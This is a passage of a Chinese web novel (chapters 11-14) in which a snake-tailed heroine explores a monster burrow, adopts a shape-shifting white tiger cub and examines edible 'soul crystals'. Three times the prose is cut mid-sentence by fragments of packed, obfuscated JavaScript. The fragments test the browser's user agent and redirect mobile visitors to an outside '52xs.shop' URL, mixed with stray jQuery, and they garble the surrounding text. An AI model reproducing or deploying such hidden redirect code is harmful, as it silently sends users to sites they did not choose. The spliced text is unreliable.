如今，颜辞云看着自己物品栏里的【泥土块】，再看着四周光秃秃的石头，再看看自己一路收集的各种种子、各种灌木、各种果子……颜辞云突然想，自己是不是能用手上这些东西做点什么？ 这既是为了化解容纳从穹顶上落下的雨水，也是为了……生活。 人只要还在喘气，那就是还活着。 但不是每个活着的人，都算是在“生活”。 颜辞云选择蜗居地下，固然是害怕在这个陌生的世界里遭受池鱼之殃，不明不白就死了。 但就算如此，颜辞云也是一直都在条件允许的范围内尽可能满足自己的需求。 是的，颜辞云当然想要活着。 但她更想要生活！ 所以—— 果然要做点什么吧？！ 这一刻，颜辞云看着自己手头的这些东西，陷入沉吟。 11. 第11章 贼不走空 颜辞云准备做一个有前院和后院的花园。 当然，如果愿意的话，它也可以被称作种植区，但颜辞云希望它不仅仅是用以生存的种植区，更是一个能让她的小屋焕发出生命与活力的花园！ 颜辞云最初挖出的安全屋，是一个有棱有角的长方体，四角还有四条竖直的天井当作通风口，咋看起来就像是一个路由器。 但很快的，颜辞云拿出【原石块】，从自己50X30的大别墅往内退了5米，在这个扁扁的长方体中央圈出了一个45X25的生活区，或者说居住区。 而居住区外那一圈五米宽的空白区，就是颜辞云留出的种植区了！ 既然是种植区，当然缺不了泥土。 颜辞云绕着种植区走了一圈，觉得大致还行，便又在种植区和居住区之间留了一米的空白，开始向下挖坑，将种植区的高度又降下三米后，拿出物品栏里的【泥土块】，向内填充。 但是，理所当然的，颜辞云手上的这点儿泥土块完全不够，于是颜辞云离开安全屋，越过河流——途中捞了几条鱼烤着吃——来到河对岸的森林，开始挖土。 颜辞云没有逮着一个地方硬薅，而是在地上开了一个十米深的竖井，钻进竖井后，以挖地道的方式挖起了那些泥土块。 她挖的地道最高三米，最宽两米，并且长度一到十米，就会立即变道，向另一个方向挖掘。 因为，颜辞云的脑瓜依稀记得，世上是有“水土流失”“地下水道”这么件事的，她可不敢像挖安全屋那样在森林的地下放开了手挖。 以她连星球都能挖穿的效率，万一一个不小心把森林挖塌了，或者挖通了水道，让东侧的河流乃至北方的海洋都倒灌进森林怎么办？ 这片森林可是她日后的重要觅食区，要好好爱护才行啊！ 秉持着这样的朴素思想，颜辞云没有乱来，只准备挖掘自己足够使用的泥土就离开地底。 不过，就在颜辞云进行第三次变道时，她的身前突然一亮，手中石锹也挥了个空。 颜辞云定睛一看，愕然发现自己挖掘的地道尽头，竟然连通着另一条地道！ 不同于颜辞云挖出的方正干净的地道，这条被挖通的不知名地道整个呈圆形，像是有某个长条形的东西在这里进出，四周的墙面都被挤压得严严实实，上头还泛着若有若无的磷光。 甚至，就连地上的泥土，也隐约能看到一些古怪苍白的颜色，似乎是一些被吐掉的小动物的骨头，在日积月累的碾压中与泥土融为一体。 颜辞云心念一动，想起前几天海上巨兽大战发生时，自己的确有感到森林的地下有什么东西在飞速离开。 ——就是“它”吗？ 这一刻，借着火炬的光，颜辞云看着自己面前这条昏暗幽深、隐约还有点点“鬼火”的通道，头皮发麻，直接一个正反手封上地道，掉头离开，想要当作自己从没来过。 可走出没两步，颜辞云又停下了。 ——不对！ 颜辞云拧起了眉： 地上的那些灰白，根本不是骨头的颜色！ 因为……因为在蜘蛛女王巢穴的不远处，那片“陨石区”的附近，颜辞云就见过这些颜色！ 那些石化的泥土，石化的树木，石化的灌木……它们是颜辞云在这个世界里第一份石头的来源，颜辞云又怎么会认不出它们？！ 但这样的石化痕迹，怎么会出现在地底？ 颜辞云心中升起说不出的古怪，稍作思考后，小心翼翼地回头，顺着地道又挖了挖，留下最后一米的土块，附耳倾听。 没什么动静。 颜辞云再次用石锹挖掉最后一米，将两条地道重新连通，然后来到离自己最近的灰白处，伸手摸了摸。 就和她想的一样，真的是石头！ 并且是和“陨石区”附近一样手感的石头！ 颜辞云仰头向地道的上方望去，并没有看到石化痕迹。 于是，颜辞云又拿出石镐，在地上轻敲几下，得到了一个仅有半米高的原石块，和一个仅有半米高的泥土块。 这一个结果，说明石化这些地道泥土的力量并不是从上方穿透的，也不是从下方传来的，而是从地道内部溅射的。 ——有某种具备“石化”力量的怪物在这里居住过！ 不是巨鸟或巨龙那种“过江龙”，也不是蜘蛛女王那种被一口痰喷死了的“地头蛇”，而是曾长期居住在这里、并且随时都会返回的原住民！ 想到这里，颜辞云越发觉得难绷，甚至怀疑把森林当作觅食区的自己到底是在这里觅食的还是在这里被觅食的。 要不…… 自己以后干脆靠吃鱼为生？ 反正那些河鱼蠢蠢的，一副长年没有天敌的傻样。颜辞云之前路过河流的时候，连钓竿都没用上，直接上手捞了两条就烤。 但，颜辞云又隐约记得，鱼肉和兔肉都是没办法长期当作主食来吃的食物，似乎是因为这两种肉类缺乏某些东西。 为此，还有某种病症叫“兔肉综合症”还是“鱼肉综合症”什么的…… 换而言之，在颜辞云真正开垦出可用的种植区域前，这森林还真是她必须要拜访的地方。 “唉……” 颜辞云唉声叹气，十分发愁。 想要在这个险恶异世界里好好活下去也太难了吧！ 诡异的海洋，冷酷的石原，荒芜的旷野。 而唯一有生机有食物的森林，却又这样危险……还给不给人活路了呀？！ 愁着愁着，颜辞云一咬牙，恶向胆边生：既然世道都这么艰难了，为什么她不趁此时机将这怪物的巢穴搜刮一番呢？ 众所周知，人想要过的好，就需要原始资本。 什么叫原始资本？ ——如果颜辞云现在冲进怪物的巢穴深处，把对方这段时间辛辛苦苦积累下来的物资据为己有，那这些物资就叫做颜辞云的原始资本。 反正……唔，反正颜辞云瞅着这巢穴里的东西也没人要呀！ 下定了打劫的决心，颜辞云原本缩回地道的脑袋又探了出来，鬼鬼祟祟地在地穴的左右两端张望。 看看左边。 没有动静。 看看右边。 也没有动静。 很好，走！ 颜辞云钻入地穴，顺着地面石化的痕迹，向着怪物巢穴一路深入。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14358855|152846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 而随着地上的石化痕迹越来越多、越来越重，颜辞云心中也越发警惕，她的脚下、不，尾巴下，也越发缓慢了。 很快，黑暗的地穴走到了尽头。 接着地穴苔藓的微光，颜辞云看到自己的前方已经没有了路。 ——这里应该就是那怪物的“家”。 可是，让颜辞云意外的是，这个怪物的巢穴并没有她想象中的肮脏杂乱，也并不能称作干净整洁，而是……空荡荡的。 除了几具被啃噬干净的鼠类骸骨在地上七零八落，这地穴深处竟什么都没有！ 就连蜘蛛女王的巢穴都有蛛丝、粪便、蜘蛛的尸体和猎物尸体等乱七八糟的东西，怎么这个巢穴就什么都没有？？ 颜辞云犹不死心，在巢穴内转了两圈，发现这里就像酒店退房后的套间，空荡荡的，除了不能薅走的硬件之外没给别人留下半点占便宜的机会！ ——怎么会有人、不，怎么会有野兽在逃跑的时候把家也一起搬走的呀？ 颜辞云立在地穴深处，叉腰，超气愤地把尾巴摔得啪啪直响。 你就不能给闯空门的留点东西吗？ 真是穷得小偷来了都要含泪倒贴你十块！ 又或者说……其实颜辞云想错了，这里根本并不是那怪物的巢穴，而是怪物的某个临时住所？ 颜辞云环视一圈，又是不甘又是无奈。 面对这样一个巢穴，哪怕是如颜辞云这种连土都要挖的穷鬼，也只能望而兴叹了。 最后，颜辞云也只能秉着贼不走空的原则，拿出镰刀，小心割下附近正散发着微光的地穴苔藓。 颜辞云其实不知道这地穴苔藓的发光原理是啥，也不知道它的移植条件是什么，但总之带回安全屋就对了！ 顺利的话，颜辞云的安全屋外石壁上会多出一片漂亮的天然发光体，不顺利的话，颜辞云的锅里就会多出一碗蔬菜。 想到这里，颜辞云的动作突然一顿：不对，等等！ 【吞噬】技能的【摄形】能力，对植物也有效吗？ 如果吃果子吃多了，自己是会得到变成果子的能力，还是得到结果的能力？ 而如果这些发光苔藓吃多了，自己是会变成苔藓，还是会发光？ 颜辞云想到自己最开始那一餐吃下的野果字，忍不住拉开人物界面看了一眼。 【摄神（蛇：lv0）（鱼：lv0）】 【摄形（蛇：lv1）（鱼：10%）】 连鱼都有，就是没有“XX果子”，想来摄形和摄神是不会作用在果子上的。 于是颜辞云便也放下这件事，不再多想。 之后，颜辞云将四周的发光苔藓分割成块，用她使得越发熟练的镰刀片片割下，没一会儿就把周边的发光苔藓收割一空。 至此，颜辞云对这个怪物巢穴的“洗劫”就算是完成了。 颜辞云没有逗留，抓紧时间，转身离开。 但又一次的，颜辞云走出两步，一愣，回过头来，后退两步，看着地穴角落堆积的一层薄土，狐疑地眨了眨眼。 刚刚…… 在她路过这层薄土堆的时候，它是不是…… 动了？ 12. 第12章 白虎 野兽的巢穴里有几块土疙瘩、一些小土堆什么的，那实在是再正常不过了。 毕竟野兽可不会像人类一样定点排泄，也不会特意离开巢穴去排泄——最多就地刨坑，完事后再就地掩埋。 这已经算是很爱干净了。 所以哪怕是作风如劫匪的颜辞云，路过土堆好几次也从没想过去刨坑。 可刚刚她看到了什么？ 那土堆……动了？ 一时间，颜辞云脸色变化万千，脑瓜里飘过无数想法，有惊悚的也有恶心的，并且大多数都是有味道的。 于是颜辞云默默后退了两步，接着又后退了两步，手上的镰刀也偷偷换成了石锹，眼神警惕地看着那堆薄土，准备一有异动，刨地就跑！ 而慢慢的，随着时间悄然流逝，那一层薄薄的“土堆”也动了起来。 先是一个圆滚滚的屁股扭了出来，接着是两只短短的爪子。 在颜辞云的眼里，这巴掌大的小土堆正弓着身，摆出了一个瑜伽中经典的猫式。 不过下一秒，颜辞云就发现自己错了。 因为这并不是“猫式”，而是“鼠式”，而她警惕瞪着的，也并不是什么“土堆”，而是惬意在地上躺成了一滩毛饼的鼠鼠！ 也不知道这究竟是什么种类的小鼠。 它有着与泥土融为一体的褐色，摊在地上时就是不起眼的土堆，站起来则变成了一团圆滚滚的毛球； 它的尾巴极短，贴在圆乎乎的屁股上，让颜辞云第一时间想到了仓鼠，可它的耳朵却是又大又圆，远远看去，就像是两瓣晃动的花瓣。 有点奇怪，但又有点可爱。 它从睡梦中醒来，先是伸了个鼠式懒腰，而后一屁股坐在地上，两条短短的鼠腿伸着，两只短短的鼠爪搭在肚子上，睡眼朦胧地吧嗒着嘴，一看就是睡迷糊了还没清醒。 半梦半醒间，它喉咙里发出了疑似咳嗽的声音，然后它一张嘴：咳，呸！ 极不讲卫生的老大爷鼠扭头就吐出了一口“白痰”。 可令颜辞云骇然的是，那口“痰”竟在接触到泥土的瞬间就化作了一片颜辞云熟悉的“灰白”。 ——石化！ 竟然是石化？！ 原来那个让颜辞云一路走来心中忌惮不已、拥有石化能力的怪物，竟然就是眼前这只还没她手掌大的小老鼠？ 原来这个庞大的地穴，就是它的巢穴？ 第一时间，颜辞云心神巨震，转身就想在这只石鼠发现她之前溜之大吉。 可在冲动涌上之前，理智牢牢定住了她：不对，错了。这个地穴，绝对不是眼前这只小老鼠的巢穴！ 因为在挖通这条地穴前，颜辞云就已经通过观察地穴的方式，描绘出了地穴主人的模样： 以爬行为主要前进方式的长条状生物，像是某种钻地蛇，或者是类似蚯蚓的生物。 它体型庞大，哪怕是爬行也至少有六米高；并且它非常沉重，可以轻易将它爬行过的地面压平压实。 最重要的是，它的表皮有一层带着磷光的物质，当它在地穴中钻行时，它表皮上的磷光物质附着在了墙面上，而这也是颜辞云在挖通地穴后第一眼看到了“鬼火”的原因。 甚至颜辞云怀疑，她刚刚割走的那些发光苔藓，其实正是怪物外皮那层磷光物质与泥土在日积月累的摩擦下生成的！ 而以上的这些特征，与颜辞云眼前的这只小老鼠没有一条符合。 所以颜辞云合理怀疑，这小老鼠根本不是这地穴的主人，而是地穴主人的猎物，只因前几天地穴主人弃巢而逃，这才捡回一命，且鸠占鹊巢。 短短几个呼吸的时间，颜辞云就以极快的速度理出了一条思路。 而就在颜辞云思考间，面前的一幕又有了变化。 只见那只不讲卫生的老大爷鼠，在吐了“痰”后，似乎终于感到了饿。 它摸了摸自己的肚子，接着又伸手往身下探去，似乎想要从屁股下摸出点什么。 可奈何它屁股太圆，爪子太短，因此它只徒劳扭了两下，就再控制不住自己，啪嗒仰倒，向后滚了两圈才终于停下。 颜辞云：“……” 这谁生的鼠？ 怎么这么笨？ 颜辞云心中刚冒出这样的念头，下一秒，那只笨鼠就气愤地跳了起来，破口大骂。 “吱吱吱吱！” 这声音，像是幼鼠又像是幼鸟。 并且，骂着骂着，在颜辞云震惊的注视下，这不知名的小鼠的体型竟然在无声中改变！ 它原本短得几乎瞧不见的尾巴，突然拉长，开始变长变尖，而它圆滚滚的肚子，则像是漏气的皮球，不断变小变扁。 与此同时，它的四肢也随之生长，开始变得粗壮有力，而它那两只像花瓣一样又圆又大的耳朵，则开始拉长成尖尖的三角形。 就这样，短短两个呼吸的时间，这圆滚滚的小鼠，就在颜辞云眼睁睁的注视下变成了一只精神抖擞的幼虎！ 虽然，此刻的它依然小小一只，只不过是从一个巴掌大的小老鼠变成了三个巴掌大的小老虎，但光是它短短片刻内暴露出来的这些能力，就足以令颜辞云震惊不已了。 石化，变形……看它的年龄，应该还是处于幼年期吧？ 但，哪怕它还是幼年期，哪怕它才这么小一丁点儿，却已有了这么多骇人的能力……那等它长大后，它又会变得怎样可怕？！ 颜辞云心中愈发沉重，忍不住地去思考这件事。 毫无疑问，这片森林日后就是颜辞云极重要的食物来源区了。 颜辞云不需要考虑什么生态平衡，不需要考虑什么物种灭绝问题，只需要考虑自己该如何活下去，所以，合理控制这片区域的危险等级，诱杀已成型的大型怪物、并将未来危险生物扼杀于摇篮之中，把这片危机四伏的原始森林改造成自己的后花园，就成了颜辞云接下来生活中的重中之重。 而按照这个道理，趁着这只会变形的怪物还年幼，直接将它杀死，并用它的肉来壮大自己，无疑成了颜辞云最好的选择。 可是……为什么她有些下不了手呢？ 难道是因为她那“可爱动物保护主义”的心态作祟吗？ 颜辞云无声苦笑，在黑暗中缓缓摇头。 颜辞云的动作极轻微，但她引动的气流却仍引起了那只百变怪的注意。 它直起身，尖尖的耳朵立起，眼珠转了转，终于发现了颜辞云的存在。 颜辞云不动声色，手中的石锹悄然换做了石剑。 哪怕此刻，颜辞云的心中仍有犹豫、不太乐意，但只要这只怪物向她扑来，她是一定会杀了它的。 可让颜辞云出乎意料的是，哪怕看到她的突兀出现，这小怪物竟也没露出半点攻击性，甚至连半点恐惧都没有，反而像是颜辞云前些天在鸟林中看到的幼鸟那样，对她露出了惊喜而依恋的神色。 颜辞云拿剑的动作迟疑了一下。 小百变怪却浑然没有发觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14358856|152846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空气中的隐晦杀意，扭着屁股继续之前的动作——刨坑。 三两下的，地面的土堆被小怪物飞快挖开。 下一秒，颜辞云的世界多了第三种颜色： 绿色。 绚烂的绿，清丽的绿，像是绿藻一样柔软又像是湖泊一样幽深的蓝，在这一刻于昏暗的地穴中乍现，也将颜辞云眼里只有灰与红的世界，覆上了第三种色彩！ 灰色，红色，绿色。 哪怕光学三原色还差一个蓝色，但仅仅是这三种颜色，就已足够为颜辞云描绘出这个不可思议的异世界了！ 颜辞云忍不住再去观察这个世界： 原来，她此刻身处的地穴，并不是简单的昏暗，也完全称不上丑陋，因为有许多被压平的树根，正如装饰物一样贴在地穴的墙面，在苔藓的微光下泛着青碧的色彩。 原来，颜辞云看到的发光苔藓，并不是单纯的发光，而像是丁达尔效应中的浮沉，流动出似梦似幻的不思议彩光。 甚至是那些曾经令颜辞云感到背脊发毛的“鬼火”，它的颜色原来也并不是苍白的幽冷，反而是出乎意料的温暖的黄，像是落叶，又像是午后的秋天。 这一刻，颜辞云几乎忍不住屏息，看着这灰蒙蒙的冷酷世界，终于褪下它的迷雾与薄纱，露出它那骄傲的美丽姿态！ 而就在颜辞云的震惊中，小怪物终于从土坑里咬出了那抹惊艳的绿—— 一只柔软得像是果冻的绿珠！ 那绿珠子外表光滑，是非常完美的圆形，但一受到外力的触碰就会颤巍巍地滚动，看上去极为柔软。 它几乎有小怪物的脑袋那样大，让小怪物根本没法用嘴将它叼起来。 可就算如此，小怪物还是手脚齐上，连拖带咬地把绿珠从坑里扒拉了出来，接着又欢快地顶到颜辞云的脚边，在颜辞云愕然的注视下发出了邀功般甜蜜的咪咪声。 “咪～” 小怪物用它毛茸茸的爪子指了指绿珠。 “咪呜～” 小怪物用它毛茸茸的脑袋蹭了蹭颜辞云的蛇尾。 “咪～～～” 颜辞云神色越发愕然，不确定道：“你……要把它送给我？” 像是听懂了颜辞云的话，小怪物疯狂点头，然后抛下那颗绿珠，再次手脚并用，扒拉着颜辞云的鳞片就要往上爬。 颜辞云看了两眼，终于没忍住叹息一声，在这小老虎的爪子勾上她小腹的皮肤前把它抱了起来，而地上那只一看就十分不凡的绿珠，则被颜辞云用尾巴轻轻勾起，送进物品栏。 “……真不知道你是太笨了还是太聪明了。” 颜辞云捏了捏小老虎毛茸茸的脸，又顺着它的背脊滑下，揉了揉它圆滚滚的肚子。 小老虎在颜辞云怀里四脚朝天地躺着，毫不反抗，甚至垂落的尾巴尖一晃一晃的，看起来惬意极了。 【检测到有一异类生物有强烈想要跟玩家离开的意愿，请问玩家是否想要收服宠物[未命名]？】 熟悉的选择再次出现在颜辞云的面前。 颜辞云迟疑了一下，选择了【是】。 她打开人物界面，点开宠物区块，看着那空荡荡的名字栏，又看着怀里全身没有一丝杂毛的白色小老虎，说道： “从此以后，你就叫……” 颜辞云想着想着，忍不住伸手敲了敲头。 那里空荡荡的，僵尸来了都要撇嘴离开。 颜辞云无奈：“算了，你以后就叫【白虎】吧。” 13. 第13章 结晶 原本一人吃饱全家不饿的颜辞云，突然多了一只幼虎，不，幼怪物——算了就叫幼崽吧——要照顾，颜辞云一时间感到身上的食物压力更重了。 不过，伴着一整座森林居住的颜辞云也并不着急，而是有条不紊地继续自己之前的行动。 挖土，取得足够的泥土后，颜辞云向上挖掘，离开了九曲十八弯的地道后，按照地图的指示，沿直线向安全屋的方向前进。 路上，颜辞云途径蜘蛛女王的巢穴。 这时，离蜘蛛女王的死亡已经过了快有四天了。它织成的苍白王座，早已无声凋零，而它身旁形态狰狞的蜘蛛护卫们的尸体，也开始散发着不太妙的臭味。 这说明在森林的野兽们返回、吃掉这些尸体前，微生物就已经先一步开餐了。 但颜辞云却又注意到，蜘蛛女王的尸体竟和她第一次见到时一模一样，没有半点改变，甚至就连蜘蛛女王那张看起来吹弹可破的美人脸，也没有半点腐烂迹象。 颜辞云心中奇怪，拿出石剑，在蜘蛛女王颜色艳丽的蜘蛛腿与外壳上敲了敲。 锵！锵！锵！ 刺耳的声音响起，颜辞云感受着手中石剑上传来的反震力，心中又是惊讶又是觉得理所当然。 “果然非常坚硬……” 颜辞云手里最开始拿的是木剑。但这玩意儿的杀伤力不高，还没有颜辞云的镰刀快，所以很快被颜辞云弃而不用。 后来，在发现了石原的存在后，颜辞云手上原本稀少的原石块一下子富有了起来，于是她飞快把自己所有的工具升了个级，其中就包括原本的木剑。 而进化成石剑后，这个工具的杀伤力与木剑就再不可同日而语。 如果说木剑这东西只能用来欺负一下不会反抗的灌木丛、摔晕摔死的小松鼠，“菜刀”的意义远大于“剑”的意义的话，那么石剑就是真正的利器了。 颜辞云在拿到石剑后曾经试了一下，发现它可以轻易在石原上刻下字迹，哪怕磕上被系统优化过后、坚硬非常的【原石块】，也能留下那么一些痕迹。 在颜辞云看来，这把系统出品的石剑，毫无疑问是“石器时代”中最好的武器了，砍三个她自己应该是没问题的。 可就是这样的石剑，却在蜘蛛女王的身上连个印子都划不出来…… 光是这一点，就足以看出蜘蛛女王生前的霸王之姿！ 当然，这也越发说明了那一口从天而降的“痰”有多么可怕，以及颜辞云在石原地下苟出一个安全屋的行为有多么明智。 想到这里，颜辞云又用石剑轻轻戳了戳蜘蛛女王那看起来吹弹可破的美人脸。 锵！锵！锵！ 颜辞云：“……” 好嘛，原来只是看起来吹弹可破。 如果真的有人上了当，以为这张脸会是蜘蛛女王的弱点，那么那家伙恐怕就要付出性命来为自己的鲁莽买单了。 不过，颜辞云也算是明白了蜘蛛女王的尸体为什么没有腐烂迹象。 说实话，颜辞云觉得这具尸体恐怕得像石原上的那些石山一样，在森林长长久久地伫立下去了。 “小白，走吧，我们回家了。” 解开了心中疑惑的颜辞云出声呼唤，不打算再在这里逗留下去。 可颜辞云的呼唤迟迟没有得到回答。 颜辞云心中困惑，回头一看，而后一愣：不是，我猫呢？ 刚刚还在这里的、那么大一只的猫呢？ 颜辞云有些急了，在周围转来转去地找猫，可两圈后，她一拍脑袋，觉得自己真是傻了。 她怎么就忘了呢？ 明明宠物模块里有一个治撒手没的利器——定位系统啊！ 颜辞云打开宠物区块，点开【白虎】的界面，目光在白虎一系列和她本人一样废物的数值上掠过，很快找到了【在地图上显示】这一功能。 可在打开这个功能后，颜辞云愕然看到，小地图上代表着白虎的绿点，竟然就在代表着颜辞云自己的蓝点上重叠闪烁！ “怎么会在这里？” 颜辞云心中狐疑，扭头看了一圈，确定自己没有看到那傻猫。 于是颜辞云把小地图点开，放大又放大后，终于看到了那傻猫的真正位置——蜘蛛女王的腹腔里！ 对，就是蜘蛛女王被天降之痰呸空了的腹腔！ 颜辞云有些麻爪地看着自己面前狰狞的蜘蛛女王，小心绕开它三米高的脸后，顺着它粗大能跑马的蜘蛛腿，爬到它的背上，低头一看—— 喝！ 果然没错！ 那蠢猫竟不知道什么时候溜进了蜘蛛女王空荡荡的腹腔，站在一堆让人不敢深想的深色上，撅着屁股，鬼鬼祟祟地用爪子掏掏摸摸着什么。 “白！虎！” 俗话说，当妈的叫你全名肯定没好事儿。 果然，颜辞云这一刻大怒出声，暴喝道： “你这家伙，在干什么呢？！” 你在用你那雪白的、干净的、毛茸茸的爪子在干什么呢？！！ 该说不说，颜辞云的心情无疑与那些一个没注意就发现自家哈士奇吃了屎的饲主们的心情同步了。 但这蠢猫不愧是虎中哈士奇，竟半点没察觉到颜辞云的怒火中烧，反而动作越快，从满地硬邦邦的碎肉里扒拉出了什么东西后，一口咬住，接着纵身一跃。 别看这幼崽只有一丁点儿大，变成老虎后也不只是三个巴掌大小的幼虎，但它却不愧猫科动物之名，竟一下子跃过了超出它数倍的高度，在蜘蛛女王的背上稳稳落定，而后吐出一颗黑色的珠子，邀功似的用爪子推到颜辞云面前，长长的尾巴摇来摆去，越发像是一只哈士奇了。 “咪~” 愚蠢的哈士奇发出了甜蜜的声音，接着用颜辞云眼熟的动作，指了指颜辞云尾巴边上眼熟的珠子。 “咪呜~~” 颜辞云狐疑看了看自己尾巴边的黑色珠子，抬起尾巴尖按住黑珠后，一把抓住幼崽命运的后劲皮，把它提溜起来，检查了一下它的爪子。 依然是干净、雪白、毛茸茸的。 颜辞云下意识蹙眉：说起来，这幼崽之前在地穴里时，好像也是干干净净、一尘不染的样子？ 它到底什么来头？ 越发察觉到幼崽神异的颜辞云，忍不住掐了掐它毛茸茸的圆脸蛋。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14370165|152846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>但这被颜辞云取名为白虎的幼崽，依然没有半点危机意识，只在半空蜷着爪子，叼着自己的长尾巴玩。 “不咬尾巴。” 颜辞云把傻猫的漂亮尾巴从傻猫嘴巴里抢救出来。 “下次不准突然消失了，明白了吗？” 叮嘱一句后，颜辞云又吹了吹傻猫的爪子，吹去自己看到傻猫“玩屎”的阴影后，这才拾起尾巴尖压住的黑珠子，细细研究起来。 这颗黑珠子与颜辞云最初见到的绿珠子很像，都是表面光滑、触之生弹。 明明看起来像是碟子里晃悠悠的果冻，但表皮的韧性却出乎意料地强。 当颜辞云用力按压时，它会迅速变形，可一旦颜辞云松手，它就会立即恢复原状。 “这到底是什么东西？” 颜辞云看着手上的黑珠子，又把物品栏里的绿珠子也拿了出来，对比着看。 不比不知道，一比颜辞云才发现，无论是颜色也好，大小也好，黑珠子都逊色了绿珠子不止一筹！ 如果将黑珠子比作一颗装水的气球，那么绿珠子最低也是一颗水色潋滟的玉球，不但光泽流转间气势非凡，甚至触手生温，一看就知道和黑珠子不是一个等级的东西！ “所以……如果黑珠子是从蜘蛛女王的尸体里扒出来的……那这绿珠子又是从什么尸体里扒出来的？” 这玩意儿，到底是异界怪物们身体的哪个部位？ ……总不能是结石吧？ 哪里有这种和果冻一样的结石啊，说是“脑浆”都比“结石”更可靠。 不过脑浆也不会长在腹部，所以，应该是某种异界怪物特有的部位吧，比如说……结晶？ 唉，真是的，这个系统怎么就没有鉴定功能呢？ 明明工具和原料放进物品栏里的时候都会显示名称，怎么这珠子就只显示一个【绿珠子】呢？ 虽然知道这个命名应该大致是根据她的认知情况来的……但你也多少出一个详细的说明书啊！ 你可是系统！是外挂！ 你怎么能这么没用？！！ 抱怨着抱怨着，突然，颜辞云的头一晕，感到自己注视着“珠子”的双眼生出了些胀痛。 她用力眨了眨眼，再眨了眨眼，缓解了眼睛的一些酸涩后，再看向手里的绿珠子时，一愣。 【灵魂结晶：未知】 【用途：吃】 啊？ 啊这？ 颜辞云茫然，再看向了另一只手上的黑珠子。 【灵魂结晶：蜘蛛女王】 【用途：吃】 颜辞云：阿这，系统你来真的呀？ 你竟然真的把鉴定功能搞出来了？ 她其实只是随便说说来着，你到也不必这样要强。 不过…… 颜辞云看着左手右手的两颗珠子。 原来这两个玩意儿，就是灵魂结晶？ 它们竟然是用来……吃的？ 真的假的？这东西也能吃啊？ 对着面前的两颗灵魂结晶，颜辞云咽了咽口水，头皮有些发麻。 所以…… 要吃吗？ 14. 第14章 摄神 ——吃！ 只是一个瞬间的思考，颜辞云就果断作出决定：一定要吃！ 这个世界里所有能入口的东西，颜辞云肯定都是要试一试的。 一来，哪怕是普通人类，光靠肉和果子，也无法补足人体所有的营养，所以有任何一个能试着拓展食谱的机会，于情于理都不应该放过。 反正颜辞云有【吞噬】技能保底，总归是吃不死人的。 二来，颜辞云怀疑，她如今的状态可能不仅仅是【变形】中，而是真的在向蜘蛛女王这样的怪物靠拢。 会生出这样的猜想，是有很多原因的。 比如说，颜辞云从穿越到现在，已经在异世界呆了快有五天了。这五天里，她几乎没有洗漱过，可她身上并没有太脏。 哪怕她曾经在森林里奔行万里，又曾在地道里钻来钻去，但她身上最多只有一层薄灰，只要往水里一钻再出来，就又是一位靓仔。 并且，这五天里，颜辞云除了吃喝之外，竟没有半点排泄的欲望。 要知道，这几天里颜辞云间断吃下的肉与果子，已经将近百斤！而这一百多斤扔进颜辞云的肚子，竟然没有半点反应？ 最重要的是，颜辞云已经五天没有睡觉了。 谁家的正常人类能狂奔万里狂吃百斤五天不睡还精神奕奕？ 颜辞云觉得自己的这个【变形】状态指定是有点【副作用】的。 比如说在变形的过程中把她向非人类的方向改造什么的。 放在现代社会，这样的【副作用】的确挺吓人的，但在这个满是怪物的世界，变身强大怪物反而让颜辞云更有安全感，所以颜辞云这几天里持续不断地进食，也是为了让自己的变形不至于因饱食度的跌底而接触。 总而言之，颜辞云有许多吃掉【灵魂结晶】的正当理由。 但鉴于蜘蛛女王的灵魂结晶也好、不知名的绿色灵魂结晶也好，都是白虎不知道从那个犄角旮旯里扒拉出来的。 所以——得洗！ 颜辞云一手托着两颗灵魂结晶，一手提着撒手没，很快来到了河边。 这时，天色已近黄昏。 不同于以往只有白灰、淡灰、深灰、黑灰的天空，这一次，颜辞云终于看到了海面上日烧火云的绚丽。 此刻，她坐在河畔，长长的蛇尾垂在沁凉的河水中，轻轻摇晃。 在她身前的河面上，点点萤火虫的微光正开始闪烁。虽然这样的光芒在火烧云的光彩下不值一提，甚至几乎难以察觉，但颜辞云知道，当日光消逝后，这点点的萤火，就会成为地面上最美丽的清光。 “真美。” 颜辞云由衷感慨。 “就是……如果蚊虫能少一点就好了。” 颜辞云侧头，看着身边那只正追着飞舞蚊虫团团转的傻猫，啧了一声，俯下身，把手里的两颗灵魂结晶放河水里洗了洗。 为了避免出现浣熊洗棉花糖的惨剧，颜辞云没有仔细搓洗，而是稍稍过了一下水就捞了出来。 毕竟颜辞云要洗的只是这颗珠子上的心理阴影，又不是灵魂结晶上不知道有没有的病菌。 问就是【吞噬】技能牛逼。 颜辞云看了看手上的两颗珠子，在蜘蛛女王的黑色珠子和不知名的绿珠子之间选择先吃掉黑珠子。 没别的，主要是这个只有拇指大小，能一口吞下。 做下决定后，颜辞云没有多做犹豫，将珠子放进嘴里。 